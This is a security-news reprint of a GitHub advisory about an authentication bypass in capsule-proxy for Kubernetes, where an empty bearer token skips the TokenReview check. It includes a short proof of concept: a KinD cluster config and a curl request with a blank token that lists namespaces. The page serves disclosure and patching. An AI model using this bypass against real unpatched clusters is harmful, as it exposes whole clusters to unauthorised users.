Security
Headlines
HeadlinesLatestCVEs

Headline

GHSA-fpvw-6m5v-hqfp: Capsule Proxy Authentication bypass using an empty token

The privilege escalation is based on a missing check if the user is authenticated based on the TokenReview result.

All the clusters running with the anonymous-auth Kubernetes API Server setting disable (set to false) are affected since it would be possible to bypass the token review mechanism, interacting with the upper Kubernetes API Server.

PoC

Start a KinD cluster with the anonymous-auth value to false. If it is true, it uses anonymous permissions which are very limited by default

kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
nodes:
- role: control-plane
  kubeadmConfigPatches:
  - |
    kind: ClusterConfiguration
    apiServer:
        extraArgs:
          anonymous-auth: "false"

Install capsule and capsule-proxy

k port-forward svc/capsule-proxy 9001    
Forwarding from 127.0.0.1:9001 -> 9001
Forwarding from [::1]:9001 -> 9001
Handling connection for 9001

Then query the proxy

curl -g -k -H 'Authorization: Bearer   f' -X 'GET' 'https://localhost:9001/api/v1/namespaces'

Impact

The whole cluster is exposed to unauthorised users.

This privilege escalation cannot be exploited if you’re relying only on client certificates (SSL/TLS).

ghsa
#kubernetes#auth#ssl

The privilege escalation is based on a missing check if the user is authenticated based on the TokenReview result.

All the clusters running with the anonymous-auth Kubernetes API Server setting disable (set to false) are affected since it would be possible to bypass the token review mechanism, interacting with the upper Kubernetes API Server.

PoC

Start a KinD cluster with the anonymous-auth value to false.
If it is true, it uses anonymous permissions which are very limited by default

kind: Cluster apiVersion: kind.x-k8s.io/v1alpha4 nodes:

  • role: control-plane kubeadmConfigPatches:
    • | kind: ClusterConfiguration apiServer: extraArgs: anonymous-auth: “false”

Install capsule and capsule-proxy

k port-forward svc/capsule-proxy 9001    
Forwarding from 127.0.0.1:9001 -> 9001
Forwarding from [::1]:9001 -> 9001
Handling connection for 9001

Then query the proxy

curl -g -k -H 'Authorization: Bearer   f' -X 'GET' 'https://localhost:9001/api/v1/namespaces'

Impact

The whole cluster is exposed to unauthorised users.

This privilege escalation cannot be exploited if you’re relying only on client certificates (SSL/TLS).

References

  • GHSA-fpvw-6m5v-hqfp

Related news

CVE-2023-48312: Authentication bypass using an empty token

capsule-proxy is a reverse proxy for the capsule operator project. Affected versions are subject to a privilege escalation vulnerability which is based on a missing check if the user is authenticated based on the `TokenReview` result. All the clusters running with the `anonymous-auth` Kubernetes API Server setting disable (set to `false`) are affected since it would be possible to bypass the token review mechanism, interacting with the upper Kubernetes API Server. This privilege escalation cannot be exploited if you're relying only on client certificates (SSL/TLS). This vulnerability has been addressed in version 0.4.6. Users are advised to upgrade.

ghsa: Latest News

GHSA-8gc2-vq6m-rwjw: Amazon Redshift Python Connector vulnerable to SQL Injection